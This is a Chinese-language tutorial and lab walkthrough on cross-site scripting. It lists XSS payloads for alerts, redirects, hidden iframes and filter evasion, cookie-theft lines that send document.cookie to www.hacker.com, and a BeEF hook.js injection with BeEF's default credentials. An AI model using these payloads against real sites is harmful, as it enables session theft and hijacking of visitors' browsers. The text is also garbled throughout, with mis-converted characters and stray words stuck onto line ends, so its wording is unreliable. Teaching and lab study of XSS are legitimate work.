跨站腳本(cross site script)爲了不與樣式css混淆,因此簡稱爲XSS。 XSS是一種常常出如今web應用中的計算機安全漏洞,也是web中最主流的攻擊方式。那麼什麼是XSS呢? XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁 面中去。使別的用戶訪問都會執行相應的嵌入代碼。 從而盜取用戶資料、利用用戶身份進行某種動做或者對訪問者進行病毒侵害的一種攻擊方式。 XSS攻擊的危害包括: 一、盜取各種用戶賬號,如機器登陸賬號、用戶網銀賬號、各種管理員賬號 二、控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力 三、盜竊企業重要的具備商業價值的資料 四、非法轉帳 五、強制發送電子郵件 六、網站掛馬 七、控制受害者機器向其它網站發起攻擊
XSS主要緣由: 過於信任客戶端提交的數據! XSS主要分類: 反射型xss攻擊(Reflected XSS) 又稱爲非持久性跨站點腳本攻擊,它是最多見的類型的XSS。漏洞產生的緣由 是攻擊者注入的數據反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的連接(即每次攻擊須要用 戶的點擊)。 存儲型XSS(Stored XSS) 又稱爲持久型跨站點腳本,它通常發生在XSS攻擊向量(通常指XSS攻擊代碼)存儲在網 站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久的XSS相比非持久性XSS 攻擊危害性更大, 由於每當用戶打開頁面,查看內容時腳本將自動執行。
經常使用HTML標籤javascript
<iframe> iframe 元素會建立包含另一個文檔的內聯框架(即行內框架)。 <textarea> <textarea> 標籤訂義多行的文本輸入控件。 <img> img 元素向網頁中嵌入一幅圖像。 <script> <script> 標籤用於定義客戶端腳本,好比 JavaScript。 script 元素既能夠包含腳本語句,也能夠經過 src 屬性指向外部腳本文件。 必需的 type 屬性規定腳本的 MIME 類型。 JavaScript 的常見應用時圖像操做、表單驗證以及動態內容更新。
經常使用JavaScript方法php
alert alert() 方法用於顯示帶有一條指定消息和一個 確認 按鈕的警告框 window.location window.location 對象用於得到當前頁面的地址 (URL),並把瀏覽器重定向到新的頁面。 location.href 返回當前顯示的文檔的完整 URL onload 一張頁面或一幅圖像完成加載 onsubmit 確認按鈕被點擊 onerror 在加載文檔或圖像時發生錯誤
構造XSS腳本css
彈框警告 此腳本實現彈框提示,通常做爲漏洞測試或者演示使用,相似SQL注入漏洞測試中的單引號', 一旦此腳 本能執行,也就意 味着後端服務器沒有對特殊字符作過濾<>/' 這樣就能夠證實,這個頁面位置存在了XSS漏 洞。 <script>alert('xss')</script> #會彈出一個xss的小框 <script>alert(document.cookie)</script> 頁面嵌套 <iframe src=http://www.baidu.com width=300 height=300></iframe> #會顯示出一個長寬都是300的百度頁面,你能夠設置爲其它頁面的url <iframe src=http://www.baidu.com width=0 height=0 border=0></iframe> 頁面重定向 <script>window.location="http://www.baidu.com"</script> #跳轉到百度界面 <script>location.href="http://www.baidu.com"</script> 彈框警告並重定向 <script>alert("請移步到咱們的新站");location.href="http://www.baidu.com"</script> <script>alert('xss');location.href="http://www.baidu.com"</script> 這裏結合了一些社工的思路,例如,經過網站內部私信的方式將其發給其餘用戶。若是其餘用戶點擊而且相信了 這個信息,則可能在另外的站點從新登陸帳戶(克隆網站收集帳戶) 訪問惡意代碼 <script src="http://www.baidu.com/xss.js"></script> <script src="http://BeEF_IP:3000/hook.js"></script> #結合BeEF收集用戶的cookie 巧用圖片標籤 <img src="#" onerror=alert('xss')> <img src="javascript:alert('xss');"> <img src="http://BeEF_IP:3000/hook.js"></img> 繞開過濾的腳本 大小寫 <ScrIpt>alert('xss')</SCRipt> 字符編碼 採用URL、Base64等編碼 <a href="javascript:alert ;("xss")">yjssjm</a> 收集用戶cookie 打開新窗口而且採用本地cookie訪問目標網頁,打開新窗口而且採用本地cookie訪問目標網頁。 <script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script> <script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script> <script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script> <img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img> <iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe> <script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie"; img.width = 0; img.height = 0; </script>
上面這些代碼下面會有實驗來一一解釋,反射型xss和存儲型xss都能用。java
簡單來講反射型就是臨時的xss,只有別人把該連接發給你,你點開以後纔會中圈套。可是你不點開,正常的去訪問該網站是沒什麼問題的。
這裏咱們用kali當作被下套的客戶端,將咱們作好的xss的連接地址複製到kali裏面自帶的瀏覽器上web
彈框警告: <script>alert('yjssjm')</script>
因此,反射型xss只要咱們不打開別人發的連接,本身去訪問該頁面是沒有什麼問題的。shell
頁面重定向 <script>window.location="http://www.baidu.com"</script> #跳轉到百度界面
直接跳轉到百度界面
數據庫
頁面嵌套 <iframe src=http://www.baidu.com width=300 height=300></iframe>
存儲型XSS(持久型XSS)即攻擊者將帶有XSS攻擊的連接放在網頁的某個頁面,例如評論框等; 用戶訪問此XSS連接並執行,因爲存儲型XSS可以攻擊全部訪問此頁面的用戶,因此危害很是大。
簡單來講,就是知道你訪問這個網站中帶有xss的區域就會中套。apache
彈框告警: text1 <script>alert('yjssjm')</script>
而後咱們去kali上面打開
這幾乎是存儲型xss,在某個區域,只要你點開就會中了別人下的圈套。後端
咱們這裏用到kali裏面自帶的BeEF(牛)軟件,用來實現自動化xss瀏覽器
啓動Apache和BeEF: root@kali:~# service apache2 start
而後打開BeEF
<script src="http://192.168.13.145:3000/hook.js"></script> 注:192.168.13.145爲BeEF所在機器,即Kali Linux IP
你會發現咱們的代碼無法徹底複製進去,是由於網頁給咱們限制了字數,咱們須要去修改一下
而後咱們去kali裏面登陸BeEF:
username: beef
password: beef
命令顏色(Color): 綠色 對目標主機生效而且不可見(不會被發現) 橙色 對目標主機生效但可能可見(可能被發現) 灰色 對目標主機未必生效(可驗證下) 紅色 對目標主機不生效
這裏面咱們就能夠對目標靶機進行各類操做,不用寫代碼,內部已經設置好了代碼,咱們只須要點點點,特別方便。
大家的評論和點贊是我寫文章的最大動力,蟹蟹。